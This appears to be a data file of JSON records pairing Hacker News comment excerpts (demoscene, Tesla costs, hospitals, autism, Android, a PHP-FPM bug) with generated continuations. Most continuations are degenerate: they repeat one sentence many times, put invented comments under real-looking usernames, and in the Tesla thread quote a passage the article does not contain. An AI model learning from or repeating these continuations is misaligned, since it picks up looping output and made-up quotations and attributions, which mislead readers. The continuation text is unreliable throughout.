a fiction. The indefatigable infrastructure\nthat corrects the errant member system with 5 9s is a fiction and will always\nbe a fiction.\n\n~~~\nfoobiekr\nIt is a fiction but the answer is not to throw your hands up and ignore the\nproblem.\n\n------\ntimeu\nWe (scientific research institute) are currently operating a relatively small\ncommercially supported Openstack ("} +{"output_text": " was the only one who had a real assembler, and I was the only one who\nhad a real compiler.\n\n------\njoezydeco\nI was in the same class as the guy who wrote this. I remember him as a\nbrilliant guy who was always trying to get us to do better.\n\nI remember him as a guy who was always trying to get us to do better.\n\n------\njoezydeco\nI remember this", "input_text": " Mostly I hear about people getting into the game industry. Some of my\nfavorites of note: Some of the Future Crew guys went on to make Remedy\nEntertainment (and made Max Payne and Alex Wake games, among others) and Rovio\n(makers of Angry Birds) was started by some TPOLM people.\n\n~~~\nb3lvedere\nI loved Purple Motions music back then. He's still awesome:\n[https://en.wikipedia.org/wiki/Jonne_Valtonen](https://en.wikipedia.org/wiki/Jonne_Valtonen)\n\n------\nb3lvedere\nThis brings back some fun memories. Back in 94 i attended the Assembly in\nHelsinki, Finland. Amazing people with incredible potential.\n\n~~~\n_0ffh\nThat's funny, because so did I! =)\n\n~~~\nb3lvedere\nMaybe we saw each other :)\n\nThe group i was with reached 5th place with this demo:\n[http://www.pouet.net/prod.php?which=41739](http://www.pouet.net/prod.php?which=41739)\n\n~~~\n_0ffh\nMaybe we did, who can say? I was not attached at the time, and didn't have\nanything prepared. Did a little on-site 4K though. Started out with Turbo\nPascal, and then migrated to hand coded assembler on a function-by-function\nbasis until I ended up with pure asm. Then did a bit of whole-programme\noptimisation, mostly the parameter handling. T'was kind of a shitty prod, but\nfun. Didn't even need a packer.\n\nIIRC I"} +{"output_text": " the salespeople, but it's still\na terrible idea.\n\n~~~\nchasely\nI agree. I think it's a terrible idea.\n\n------\njedberg\nI'm not sure why they are laying off people. I'm sure they are doing it to\nsave money, but I don't think it's a good idea.\n\nI think they should hire more people to do the same work.\n\n~~~\njedberg\nI'm not", "input_text": " _The CEO also confirmed that Tesla didn\u2019t renew its contract with Home Depot\n> to sell its energy products at their stores.\n\nTesla energy advisors were supposed to be at 800 Home Depots across the US\nearlier this year._\n\nIf they had 3.5 employees per store, and a team of 200 managing the entire\neffort, these layoffs could be attributed entirely to the lost Home Depot\ndeal.\n\n~~~\nDiabloD3\nI wasn't even aware they HAD a contract.\n\nMy local Home Depot has zero mention of any product Tesla makes.\n\n~~~\nchasely\nI was approached by a Tesla contractor in Home Depot on a few days ago. It was\nhonestly not a good experience.\n\nFor one, I was approached cold. I too had no idea that they had this\nagreement, so I was looking at something when someone came up and asked me\nsomething like \"what type of project are you working on?\" So I naturally just\ndescribed what I was doing and before realizing this was not a HD employee.\n\nHe asks me if I thought about solar and whatever, but it wasn't relevant to my\nsituation (roof slope orients E/W at the 45th latitude, so not great for\nsolar). He goes on his way.\n\nIt was just a weird experience. I wasn't in a department related to\nelectricity or solar, and they had no displays indicating a partnership with\nTesla or that you may be cold-approached by a Tesla employee.\n\n~~~\nRankingMember\nI still can't believe retail establishments think it's a good idea to degrade\nthe customer experience by letting third-party salespeople rove their stores.\nI know Home Depot et al are making money from"} +{"output_text": "1]\n\n[1]\n[http://www.arrl.org/files/file/mp3/mp3_archive.html](http://www.arrl.org/files/file/mp3/mp3_archive.html)\n\n------\njimmaswell\nI'm not sure if this is the right place to ask, but I'm curious if there's a\ngood resource for learning Morse code. I've been trying to learn it", "input_text": "\nSee it as a process.\n\nHow do you create good stuff? By creating lots of stuff, enjoying the process\nand some of it will turn out ok, some good, some bad. Like a musician. Just\nfocus on getting better. Your workflows for launching etc. See it as feedback\nnot a definition or critique of you.\n\n------\ntom5\nI think it is more about paradox instead of fear.\n\na)you want to add enough features to attract/impress potential users. b)you\nwant to ship it, so you can get feedback asap.\n\na) and b) are pulling to opposite directions, hence the paradox. There is no\neasy solution for this.\n\nHowever, if you change the question to \"what do I need to build to test my\nassumptions (about the market and user)\", the answer will be more obvious.\n\n------\niisbum\nNever really had a problem with shipping things, guess I'm pretty thick\nskinned, but I try and remember that feedback, good or bad is better than\nbuilding in a vacuum.\n\n------\nbostand\nBy shipping.\n\nThe are tons of issues that show up only after you have shipped so striving\nfor perfection before shipping is pointless.\n\n \nThe Art and Skill of Radio-Telegraphy 3rd Edition [pdf] - pmoriarty\nhttp://cw.hfradio.org/cw_resources/The_Art_and_Skill_of_Radio_Telegraphy-3rd-edition.pdf\n======\nAnimats\nIf you want to listen to some Morse code, the ARRL has an archive of MP3s.\nThis is perfect machine-sent code with long spaces between the characters,\nintended for practice.["} +{"output_text": ".com, and it's a great\nsize.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like HP is\ngoing to be selling a bunch of these things. They're going to be selling\ncomputers.\n\n~~~\njrockway\nI guess I should clarify: I don't understand why people are so upset about\nthis. It's not like HP is going to be selling a bunch of these things", "input_text": " why Amazon will success where\nothers have failed ([http://martingordon.tumblr.com/post/9049814056/hps-two-\nprobl...](http://martingordon.tumblr.com/post/9049814056/hps-two-problems)):\n\n _There\u2019s a glut of 10\u201d tablets on the market. The iPad dominates the market\nand the ten or so 10\u201d Android tablets do nothing to help HP\u2019s situation there.\n7\u201d tablets are completely different when it comes to portability, there isn\u2019t\nas much competition at this screen size, and Apple has stated that they have\nno intentions to build a 7\u201d tablet (which means that it\u2019s coming, but it\u2019s not\nhere yet and doesn\u2019t have 80-95% market share like the 10\u201d iPad does). A\n$250-$300 7\u201d tablet has the opportunity to give HP a nice foothold into the\nmarket, and once they do, they can go back and fight for 2nd place in the 10\u201d\nmarket. Building 7\u201d marketshare and building consumer mindshare to eliminate\nalso-ran status is the only way HP (or anyone else for that matter) will have\na fighting chance in the tablet space._\n\n~~~\ncwe\nPlayed with a family members new 7\" Galaxy tab this weekend, and as a fellow\niPad owner, I have to admit that 7\" is a nice size. Big enough to be very\ncomfortable for most tablet activities, but more manageable in your hands. If\nthere was a choice between 7\" or 10\" iPads, I bet a lot of people would go for\n7\".\n\n~~~\nrobterrell\nI agree -- I bought a 7\" Galaxy Tab for cheap on Woot"} +{"output_text": " the \"polywater\" is fascinating. I had no idea that it was a\nthing.\n\n> The Soviet Union was the first country to use polywater in a large-scale\n> project.\n\n> The Soviet Union was the first country to use polywater in a large-scale\n> project.\n\n> The Soviet Union was the first country to use polywater in a large-scale\n> project.\n\n> The Soviet Union was the first country to use", "input_text": "/Polywater)\n\n[2] [https://www.atlasobscura.com/articles/polywater-the-\nsoviet-s...](https://www.atlasobscura.com/articles/polywater-the-soviet-\nscientific-secret-that-made-the-world-gulp)\n\n~~~\nscruple\nThat Wikipedia article is great. I love the introduction paragraph.\n\n> By 1969 the popular press had taken notice and sparked fears of a \"polywater\n> gap\" in the USA.\n\nI find it illuminating to understand that \"journalists,\" or the \"popular\npress,\" were ratcheting up the \"fear sells\" / fake news bullshit at least as\nfar back as 1969 (and I'm sure it goes back much further). If you were\nignorant, and I certainly am, you would think that this is a wholly new\nphenomenon. I mean, that is what the same \"popular press\" is telling us today,\nright?\n\n~~~\nnjarboe\nThere was even a phrase coined in the 1890's for such journalism; \"Yellow\nJournalism[1]\"\n\nFrom the wikipedia article. Frank Luther Mott (of the same era) on the five\nmain characteristics of yellow journalism:\n\n1\\. Scare headlines in huge print, often of minor news\n\n2\\. Lavish use of pictures, or imaginary drawings\n\n3\\. Use of faked interviews, misleading headlines, pseudoscience, and a parade\nof false learning from so-called experts\n\n4\\. Emphasis on full-color Sunday supplements, usually with comic strips\n\n5\\. Dramatic sympathy with the \"underdog\" against the system.\n\n------\nkaycebasques\nThe bit about"} +{"output_text": " around.\n\n~~~\nSomeone\n_\u201dliterally everything was automated and the only labour people were doing was\ntesting the cars by driving it around\u201d_\n\nThat\u2019s not true.\n\nThe article says:\n\n _\u201dThe Model 3 is expected to be produced in a factory that is currently\nunder construction in Fremont, California. The factory is expected to be\ncompleted in late 2018, and Tesla expects to produce 5,000 Model 3s per week\n", "input_text": " fills the complexity\nhole left by Node/Express. It's a lot faster to code than using APIs. It's\nbeen used by enough people for long enough that all the stability bugs have\nbeen ironed out.\n\n \nTesla Model 3 teardown points to $28k in potential material and production cost - hippich\nhttps://electrek.co/2018/05/31/tesla-model-3-teardow-material-production-cost/\n======\nSomeone\n_\u201dThey claim that their cost analysis resulted in materials and logistics\ncosts of $18,000 and labor costs of $10,000 for a total cost potential cost of\n$28,000.\u201d_\n\nIf a factory worker costs $10,000 a month, that would be a person-month of\nlabor per car, or 4 persons to produce a single car in a week, or 20,000 to\nproduce the 5,000 each week that Tesla aims for.\n\nBecause of that, I doubt that $10,000 labor costs number is correct.\n\nReading the referenced\n[https://www.wiwo.de/technologie/mobilitaet/elektroauto-\nzerle...](https://www.wiwo.de/technologie/mobilitaet/elektroauto-zerlegt-\ntesla-model-3-kann-gewinn-abwerfen/22625806.html), it talks of _production_\nrather than _labor_ costs, so I think my suspicion is right.\n\n~~~\nforkLding\nI have visited the Toyota factory in Ontario, Canada. What stood out to me was\nhow little people was involved, literally everything was automated and the\nonly labour people were doing was testing the cars by driving it"} +{"output_text": "I'm not sure if this is a good thing or not. I think it's a good thing that\nthe people of Nigeria are finally standing up to the corruption and\noppression that has been going on for decades. I think it's a good thing that\nthe people of Nigeria are finally standing up to the corruption and\noppression that has been going on for decades.\n\nBut I'm not sure if this is a good thing. I think it's a good thing that the", "input_text": " civil rights violations, but it would not repair\nthe economy or necessarily give people more confidence in their government.\n\n~~~\nmistermann\n> Practically speaking, how do you ensure that the new government doesn't\n> become corrupt in a year or two? Or more importantly, how do you restore the\n> people's faith in their government so that they participate?\n\nHere's how I'd do it: pass laws specifically forbidding these actions by\ngovernment officials, the punishment being death. And then when someone\nviolates the law, you kill them. You wouldn't have to do this too many times\nbefore the problem magically disappeared.\n\nI think this would both fix the corruption problem as well as restore faith in\ngovernment.\n\n~~~\ncolumbo\n> Here's how I'd do it: pass laws specifically forbidding these actions by\n> government officials, the punishment being death. And then when someone\n> violates the law, you kill them. You wouldn't have to do this too many times\n> before the problem magically disappeared.\n\nAll that would do is wind up killing a bunch of 3rd party candidates and anti-\nestablishment types. You can't simply place a law and then expect it to be\n100% accurate let alone the people determining guilt be 100% ethical. A\ncorrupt judge could kill a whole lot of people with this type of law.\n\n~~~\nrdl\nMy assertion is that there are different levels of corruption. If EG ended up\nbeing just as corrupt as Nigeria after the eliminating of the current regime,\nit would still be a victory for the people. They might even do better than\nthat.\n\nAnd maybe structurally changing how oil revenues are handled; not allowing any\nnew leader to directly control them for personal benefit.\n\n------\ncryptoz\n"} +{"output_text": ".\n\n~~~\nrco8786\nI did. They said they would.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've been in the hospital a few times, and I've always been able to sleep\nthrough the night.\n\nI'm not sure if it's because I'm used to it, or if it's because I'm not\nworried about the nurses waking me up.\n\n", "input_text": " serve white bread and Jell-O with\nhigh fructose corn syrup and artificial food coloring to people who are barely\nbreathing. Hospital patients need all the nutrition they can get. Providing\nthe equivalent of a frozen dinner or fast food isn\u2019t very responsible.\n\n------\nduxup\nWhen my wife was in the hospital after the birth of both our two kids\n(premature so they weren't in the room with her to care for, they were in the\nNICU).... I chose to go home to sleep as the nurses just came and went\nendlessly. Someone had to get sleep.\n\nThen my oldest son was in the hospital for a while. He was sick so I wasn't\ntoo surprised he was napping all the time until spent a few nights sleeping at\nthe hospital with him and realized he was probabbly napping constantly in the\nday because the nurses would wake him, and me.... constantly all night.\n\nWhen we went home we both crashed and napped a bit and then slept all night...\ni swear he recovered faster after catching up on sleep at home.\n\n~~~\nswsieber\nThere are preliminary results showing that when the NICU dims it's lights\nduring the day and goes even darker at night babies recover faster. 5 weeks\nfaster on average. (That's from \"Why We Sleep\")\n\n~~~\npishpash\nSleep is the best recovery. If everybody got enough sleep there'd be fewer\nsick days, too.\n\n------\nrco8786\nMy wife just finished up a 22 hour labor and is desperately trying to get some\nsleep but the nurses refuse to stop yelling and laughing directly outside of\nher door.\n\nIt\u2019s not even medical. Just rude.\n\n~~~\namluto\nAsk them to stop"} +{"output_text": "wikipedia.org/wiki/Cognitive_behavioral_therapy>\n\n~~~\njrockway\n_No low gluten diet, Jenny McCarthy BS, just Cognitive Behavioral Therapy_\n\nI'm not sure if you're being sarcastic, but I think you're missing the point.\n\nThe article is about the media's role in creating a false sense of\nunderstanding of autism. The article is not about the effectiveness of\nCBT/IBT.\n\n", "input_text": "autism - read Ben Goldacre for a good discussion -\n.\n\n~~~\nroom606\nI was just about to post that link but you beat me to it. It's more than a\nlittle unfair that Wakefield is being blamed for the MMR scare when the\nmainstream media in the UK did everything they could to fan the flames yet\nremain for the most part innocent\n\n~~~\nanamax\n> when the mainstream media in the UK did everything they could to fan the\n> flames yet remain for the most part innocent\n\nWhat definition of \"innocent\" are we using?\n\nThey may not be liable, but they're not innocent.\n\n~~~\ncarbocation\nFrom my read of your post and that of the parent, the two of you are in\nagreement on that point.\n\n~~~\nroom606\nYes, carbocation is correct, we are in agreement. The mainstream media still\nrefuses to acknowledge their complicity in all of this. When all of this was\ngoing on in the UK, MMR scare stories were front page news but not once did I\nsee a headline on the cover of newspaper proclaiming \"MMR Hoax, Sorry My Bad\"\nsays. As Goldacre says, it's crazy to think that one man created this entire\nmess.\n\n------\npragmatic\nIt would be nice to get back on track looking for the real cause(s) of autism.\n\nOur son was diagnosed and has received intense IBT/ABA therapy (along with\nspech, OT and PT). It has been fantastic. Total turn around.\n\nNo low gluten diet, Jenny McCarthy BS, just Cognitive Behavioral Therapy\nThanks in advance!

Just so you know, I currently work on a project at my company that uses AWS, Codeship and BitBucket for development and production. AWS and Elasticbeanstalk host our application, Codeship runs tests on changes to branches in BitBucket and then pushes the code that passes on certain branches to different AWS environments for Development or Production.\n======\nlastofus\nDoes Docker provide anything useful to someone who develops on OS X and\ndeploys to Linux VMs ("} +{"output_text": "\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\n~~~\ndang\nIt's a bug.\n", "input_text": "!)\n\n~~~\nwolco\nCentOS isn't marketed as a desktop distro. The listening default is helpful\nand when I switched over to Ubuntu that default of not listening confused me.\nNot sure I see the benefit.. it's like installing windows but the internet is\ndisabled by default and must be configured manually.. installing another\nbrowser and you must configure it manually.\n\n~~~\nDylan16807\nListening on localhost, or a socket, is a reasonable default. Listening to\nnothing is annoying, and listening to everything is a terrible idea.\n\nIf you're spreading one service across multiple servers, you can spare the few\nseconds to open up IPs/ports. The default should keep things moderately secure\non a single host.\n\n------\ncalibas\nShould probably have specified in the title that it's a PHP-FPM bug, had me\nworried there.\n\n~~~\ndang\nOk, we've added that to the title.\n\n------\nsamat\nFor those of you not speaking Russian, Russian for \u2018dick\u2019 & \u2018cunt\u2019 (also\nmeaning \u2018something very bad happening\u2019) are in the title.\n\n~~~\nfortran77\nI'd say it's in Croatian. In Russian, it's \"\u043f\u0438\u0437\u0434\u0430\"\n\n~~~\nowl57\nNo, that's certainly just transliterated Russian:\n[https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6f...](https://github.com/neex/phuip-\nfpizdam/blob/d43b788a65f83ba6fd3f95bf0710432c01f434b7/requester.go#L75)"} +{"output_text": "\n\n* Google's \"Don't be evil\" motto.\n\nI'm not sure if this is a good thing or a bad thing. I think it's a good\nthing, but I'm not sure.\n\n* Google's \"Don't be evil\" motto.\n\nI'm not sure if this is a good thing or a bad thing. I think it's a good\nthing, but I'm not sure.\n\n* Google's \"Don't be evil", "input_text": " away from some gives more to\nothers. Taking away freedoms of some takes away freedom from all.\"\n\nI wonder how he'd feel after we make murder legal, and then I shoot him in the\nface. Have him see how much freedom he has when he's dead.\n\nMy point is that it's a gray area. It's not all freedom or nothing.\n\n~~~\ngills\nSome might see your analogy as backwards, especially if they view individual\nfreedom as having natural bounds which are easily identifiable to mentally\nstable humans. I have a feeling that's why you were voted down (not by me,\nsorry). An example of this line of reasoning:\n\n\n \n\nGoogle fired engineer for breaking internal privacy policies - cristinacordova\nhttp://techcrunch.com/2010/09/14/google-engineer-spying-fired/\n\n======\nthesethings\nI'm going to temporarily put aside what this guy did (which is really bad, but\npeople with bad intent aren't common), to discuss what this tells us about\nGoogle (which is about The System, and cause for larger concern).\n\nIf anybody from Google can (anonymously if necessary) step in and answer\nquestions, it'd be great.\n\n* Different gmail accounts. Google knows they're all you.\n\nIn the original Gawker story, this caught my eye:\n\n\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"\n\nKeeping separate Gmail accounts is how many protect against \"Google knows\neverything about me.\""} +{"output_text": " got a camera.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I can't imagine a scenario where\nI would want to buy a phone that is not modular. I can't imagine a scenario\nwhere I would want to buy a phone that is modular but not modular enough.\n\n~~~\njoshstrange\nI guess I'm just not understanding the point of this. I can't imagine a\nscenario where I would want", "input_text": "https://en.wikipedia.org/wiki/Modu](https://en.wikipedia.org/wiki/Modu) ) and\napparently Google acquired some of that IP. I wonder if this effort is\nrelated.\n\n------\ncrbelaus\nIt may shound harsh, but why should I want a modular Android phone? To update\nmy hardware over the years to come while still running the same Android\nversion without receiving updates.\n\nGoogle, your Android updating system is fucked up. Fix it first, and then we\ncan talk about exending the life of hardware.\n\n~~~\nclintonb\nLimited updates are more an issue with the carriers than Google.\n\n~~~\nvoltagex_\nI don't think so. I'm still on the May 2016 security patch on a 2015 Moto X\nStyle. No carrier involved - it's an unlocked LTE phone. Updating the existing\nphones doesn't make Lenovo any money so I doubt it will happen.\n\n------\nungzd\nYou can add new camera or bluetooth controller but you can't (sanely) update\nfirmware to latest Android version. Great.\n\n(I mean sanely if it was like installing Windows or Linux and not specific\nbuild for single phone model made from hacks and insane backmerges)\n\n------\nclumsysmurf\nI had high hopes for this, but seeing how fragmentation is harming Android\nwhen the phone is a single integrated device - seems unrealistic they would be\nable to get all these components to play well together among various OEMs.\n\n------\njordache\nThis is my attitude regarding Red camera's lauded modularity.\n\nOk so you can keep your handle and grip, and the little viewfinder. The sum of\nThose useless pieces doesn't mean you've"} +{"output_text": "source projects, but I think the same applies to\nprivate projects.\n\n------\njimktrains2\nI'm not sure I understand the problem.\n\nIf you have a library that is not in the standard library, you can't just\ninclude it in your project. You have to use a different name.\n\nIf you have a library that is in the standard library, you can't just include\nit in your project. You have to use the same name.", "input_text": ", loading different versions of the library under the same name to\nprovide to different parts of your code. This has different risks depending on\nhow and when symbols are looked up or linked. In some languages you can end up\nwith the two versions accidentally calling into each other or using each\nother's symbols. In other languages you run into the \"expected Foo but got\nFoo\" type errors mentioned by munificent. That's what happens when you use\nclassloader tricks as a half-assed way of isolating \"components\" in Java.\n\nSecond, loading different versions of the library under different names. This\nrequires hacking the compiled code or the source code; convenience and\nreliability will depend on the quality of the tools you're working with.\nSophistication ranges from using sed to munge source code to using tools like\nobjcopy that can read and rewrite compiled artifacts. Java \"shading\" (not\n\"shadowing\" as I said earlier) relies on rewriting class files.\n\n------\nJeremyBanks\nThis article actually made the issue finally click for me: Go is having\ntrouble solving this problem because it has more going on in the global\nenvironment, like its ancestor languages, and unlike more modern languages.\nThey need to come up with a complicated framework to reign in their spooky\naction at a distance, because they have lots of implicit global relationships\nwhere we might prefer more explicit and local ones.\n\nYikes.\n\n~~~\nithkuil\n> where we might prefer more explicit and local ones.\n\ncould you expand on this? who is \"we\" and what are those explicit and local\nrelationships? are you talking about an opensource ecosystem or a private\nenterprise?\n\n~~~\nJeremyBanks\nIn this case I mean open-"} +{"output_text": "/mythz/clojure-linq-\nexamples](https://github.com/mythz/clojure-linq-examples)\n\n\\- C# [https://github.com/mythz/csharp-linq-\nexamples](https://github.com/mythz/csharp-linq-examples)\n\n\\- C++ [https://github.com/mythz/cpp-linq-\nexamples", "input_text": " with a babel based\ntool.\n\nEarlier, I wrote a tool called chimpanzee[1] to parse such ASTs into SQL. Not\neasy (but not too hard either); there are so many different ways to express\nsomething in JS. Here's an example (using chimpanzee) which checks if an\nexpression is doing a sort (on an array/table) and to extract sort fields and\norder. [https://github.com/jeswin-unmaintained/isotropy-ast-\nanalyzer...](https://github.com/jeswin-unmaintained/isotropy-ast-analyzer-\ndb/blob/master/src/schemas/sort.js)\n\n[1] chimpanzee:\n[https://github.com/jeswin/chimpanzee](https://github.com/jeswin/chimpanzee)\n\n------\nmythz\nAs LINQ has been positioned as one of C#/.NET's biggest strengths their 101\nLINQ Examples are a nice set of simple code examples to compare how well\ndifferent languages fare against each other:\n\n\\- Swift [https://github.com/mythz/swift-linq-\nexamples](https://github.com/mythz/swift-linq-examples)\n\n\\- Kotlin [https://github.com/mythz/kotlin-linq-\nexamples](https://github.com/mythz/kotlin-linq-examples)\n\n\\- Java [https://github.com/mythz/java-linq-\nexamples](https://github.com/mythz/java-linq-examples) (Java 1.7)\n\n\\- Clojure [https://github.com"} +{"output_text": " I agree, but I think it's a good idea to have a unique icon.\n\n8\\. I agree, but I think it's a good idea to have a unique icon.\n\n9\\. I agree, but I think it's a good idea to have a unique icon.\n\n10\\. I agree, but I think it's a good idea to have a unique icon.\n\n11\\. I agree, but I think it's a good idea to have a unique icon", "input_text": " on a whim, so having a strict, default third party is essential.\n\n[1] \n\n------\nbobrenjc93\nI would like more users to register my side project\n(), but I can't seem to convert anyone who visits\nthe project site. At this point, I think I would pay for some service that\ngives me honest feedback on my landing page and maybe suggest ways to improve\nconversion rates.\n\n~~~\nmilesokeefe\nA few suggestions:\n\n1\\. Increase the padding on nearly all the divs; the text is too close to the\nborders.\n\n2\\. Remove the \"Confirm Password\" field. IMO the risk that the few people who\nmistype their password will never return is worth making it easier for the\nrest.\n\n3\\. The video could be shorter. You don't need the 4 second title before the\nvideo starts, and the simulation of the signup process takes too long and is\nboring to watch. Edit the video so that the text fields are filled in as\nquickly as the viewer can see them filled in, not as fast as it actually\ntakes.\n\n4\\. Consider adding a few bullet points outlining the benefits of being able\nto track users' mouse movements.\n\n5\\. A unique icon would be nice.\n\n6\\. Make the \"Sign Up\" button a unique color so that it stands out.\n\n~~~\nKluny\n1\\. Agreed\n\n2\\. Meh, doesn't matter\n\n3\\. Yes\n\n4\\. Agree, I signed up and am intrigued, but still not totally clear on what\nit does.\n\n5 and 6. Sure.\n\n7\\."} +{"output_text": ".\n\n~~~\njessaustin\nI have a phone number for my parents' house, but I don't know it. I have a\nphone number for my parents' house, but I don't know it. I have a phone number\nfor my parents' house, but I don't know it. I have a phone number for my\nparents' house, but I don't know it. I have a phone number for my parents'\nhouse, but I don", "input_text": "al like 10%. Not just pull the trigger and shoot but shoot and shoot at\nthe enemy.\n\nA program was developed by the US military to train soldiers to shoot on\ncommand. On the shooting range a target popped up the soldier shot it and when\nhe hit it the target would fall. stimulus: target appears, response: shoot the\ntarget, reward: target falls, satisfaction. It got to the point where there\nwas no thought it was instinct, or muscle memory.\n\nI see now it is called \"Operant conditioning\". In the Wikipedia post about\noperant conditioning citations mention some of what I am talking about.\nWikipedia isn't where I originally read about it I read about was probably 10\nor 15 years ago?\n\n[https://en.wikipedia.org/wiki/Operant_conditioning](https://en.wikipedia.org/wiki/Operant_conditioning)\n\nKorea and especially Vietnam (better weapons?) saw the amount of solider\nshooting the enemy go up significantly.\n\nI'm not sure if the rotary phone vs touch tone was in that same article or if\nI'm mixing it up with another article.\n\n------\nryan_j_naughton\nThere is a bizarre consequence that you have to remember all the phone numbers\nyou want to dial or keep a paper contact book with you as well.\n\nRelatedly, how many of you remember a bunch of phone numbers from your\nchildhood. I can recite my best friend's home phone number, my home phone\nnumber from childhood, my dad's old office number, and my mom's cell number -\ndespite all but 1 of those numbers having not been valid for 16 years.\n\nYet ask me to recite any phone number from when I got a cell phone onwards and\nI only know my own"} +{"output_text": "train' a system is to have a lot of data, and a lot of\nexamples of each language.\n\n~~~\nmabbo\nI'm not sure if I'm understanding this correctly, but I think the idea is that\nthe adversarial system is trained to recognize the language of the sentence\nit's given, and then the language translation systems are trained to not be\nrecognized by the adversarial system.\n\n~~~\nstablemap\nYes, that's right. The adversarial system", "input_text": " how much can be surfaced right inside\nVisual Studio. (A separate team maintains our actual instance, thank god.)\n\nThe true pain as a developer comes from the poorly thought out UI which makes\nevery little task click heavy. To make things worse, the UI is poorly threaded\nand seems to prefetch nothing. This means that drilling down into any area,\nespecially the source control view leaves you waiting 1-3 seconds per item you\nexpand.\n\nThere's also some weird usability holes, like why after 5+ years is undo\nunchanged a command still only found in the optional power tools utility?\n\n~~~\ndarklajid\nRight, the UI seems like you're doing work in access and every click opens\nanother tab. Some features are 'nice' (link to workitems etc.), but you have\ndialogs with tabs with tabcontrols with gazillion other controls and.. yeah.\nYou don't want to use that, basically.\n\n \nUnsupervised Machine Translation Using Monolingual Corpora Only [pdf] - stablemap\nhttps://arxiv.org/abs/1711.00043\n======\nmabbo\nNeat! If I'm reading this right (smarter people please correct me if I'm\nwrong), the process they used is:\n\n1- Train a system that translates language A sentences into a representation\nspace, and can translate back from that space.\n\n2- Train a second system that does the same, but with language B, onto the\nsame representation space.\n\n3- Train an adversarial system that tries to look at the representation space\nand identify which language the sentence came from, retraining the language\ntranslation systems to try to fool that recognizer. Retrain the models to try\nto not be recognized by this third system.\n\nThe best way to '"} +{"output_text": " it.\n\nI think it's a bit of a shame that the pendulum has swung so far the other\nway, but I think it's a good thing that people are now starting to realise\nthat there are trade-offs to be made.\n\n~~~\ntericho\nI think it's a bit of a shame that people are now starting to realise that\nthere are trade-offs to be made.\n\nI think it's a good thing that people are now", "input_text": " engine in everything today...\n\n------\ncarsongross\nMoney quote from the article:\n\n _The new admin would make a return to more classic architecture with some\nmodernizations. Our approach would be ERB views and server-side rendering,\nwith the use of Turbolinks, and a lightweight custom JavaScript binding\nsystem. This allowed us to tackle problems of code duplication and developer\nproductivity in a single blow._\n\nAs always, the devil is in the details and I'm looking forward to seeing what\ntheir JS binding system looks like, but the pendulum appears to be swinging\nback towards server-side rendering and models, even amongst the cool kids.\n\nI have been working on a small library for doing HTML partial AJAX\nprogramming, using fairly straight-forward HTML attributes and traditional\nserver side rendering (plus some goodies like custom HTTP header support,\ntimers, etc.):\n\n[http://intercoolerjs.org](http://intercoolerjs.org)\n\nI'm using it successfully in a few projects and very much enjoy the simplicity\nof the whole approach when contrasted with full MVC systems.\n\n~~~\ntericho\nCan we please drop the \"cool kids\" cliche? It's a tired generalization.\n\nClearly at this point both architectures work, it's childish to see this as an\nargument for server-side rendering. Obviously it works, so do client MVC\nsystems.\n\nThe value in this article is the humble detailing of their mistakes that many\nof us also experience in our careers.\n\n~~~\nmatthewmacleod\nI think part of that is a reaction to how many people jumped on to the client-\nside JS framework bandwagon very early, because it was \"the next big thing\",\nbut before the tools were ready for"} +{"output_text": " author's advice to \"just ask\" is not a good one. It's a\npsychological trap that can lead to a lot of wasted time and effort.\n\nThe author's advice is to \"just ask\" because it's a way to avoid the\npsychological trap of \"approach anxiety\".\n\nThe author's advice is to \"just ask\" because it's a way to avoid the\npsychological trap of \"approach anxiety\".\n\nThe author's advice is", "input_text": "\n\nPut a price on it. Makes you realize when you are just being a little bitch.\n\n------\ncodeslush\n\"I didn\u2019t get the first phone number I asked for, nor the second. In fact, the\nfirst number probably came somewhere between tries five and ten.\"\n\nThis applies to so many different areas of life that it should just be made a\nrule, if it isn't already.\n\n------\nFreshCode\ngetting good at \"game\" has led to improvements in almost every other aspect of\nmy life, including pitching.\n\n~~~\nbrk\nFunny. I have recommended 'The Game' by Neil Strauss to more than one person\nfor reasons beyond just meeting women. Learning how to start and manage a\nconversation are powerful tools.\n\n~~~\nFreshCode\nI wonder how many \"hacker players\" hang out on HN? :)\n\n------\nmittermayr\nit's a tough thing to accept, but you outlined it pretty well. most things\ndon't just happen. nobody believes it's the time, place, moment and right\nperson to \"risk\" being declined, ignored or laughed at. and that's so wrong.\npeople who succeed, typically, tend to be a bit more open than others.\neverything else is an excuse to hope for pure chance or being discovered. and\nin all reality, try it with beers, go to a bar, hit on a random girl, just to\nget started again. it will be really, really tough at first.\n\n------\naneth\nI agree overcoming \"approach anxiety\" is key to just about any goal that\nrequires someone else to be attracted to you in one way or another - dating,\ninvesting, friendship, ordering a drink in a crowded bar,....\n\nHowever, the"} +{"output_text": "ant of intolerance.\"\n\n~~~\nnonsenselies\nI'm not sure what you're trying to say.\n\n~~~\nlexcorvus\nI'm saying that the \"I'm only intolerant of intolerance\" crowd is a\nnonsensical, ill-defined, and self-contradictory group.\n\n~~~\nnonsenselies\nI'm not sure what you're trying to say.\n\n------\njimmywanger", "input_text": " more responsible in their recruitment process...\n\nAgain, if the world just stop fighting wars, there would be no wars.\n\nBut really, I don't see how that is an implementable solution. How are you\ngoing to implement something like that? How are you going to implement \"world-\nstop-fighting-wars\"? How are you going to implement \"everyone-is-more-\nresponsible-when-recruiting\"?\n\n------\nl33tbro\nMy stock retort always is \"Well, I find your narrow-mindedness offensive\".\nQuestions, logical and calmly asked, also swiftly dismantle those flapping on\nabout misplaced social concerns.\n\nAlmost feel sorry for them, like these views are thinly-veiled insecurities\nabout some aspect of themselves or trauma experienced.\n\n------\nsremani\nThe Intolerance of the those crusading against Intolerance is funny until it\nis not.\n\n~~~\nlexcorvus\nIt's also a lie. Try engaging the \"I'm only intolerant of intolerance\" crowd\non, say, climate change, abortion, or the death penalty. It takes tortuous\nlogical contortions to frame any of these issues in terms of \"intolerance,\"\nand yet you'll likely be met with vitriol nonetheless.\n\n~~~\nnonsenselies\nIt's even more dishonest to take all of the opinions held by individuals of\nsome ill-defined cohort, and pretend that any inconsistencies between\ndifferent individuals means that all members of the group are irrational 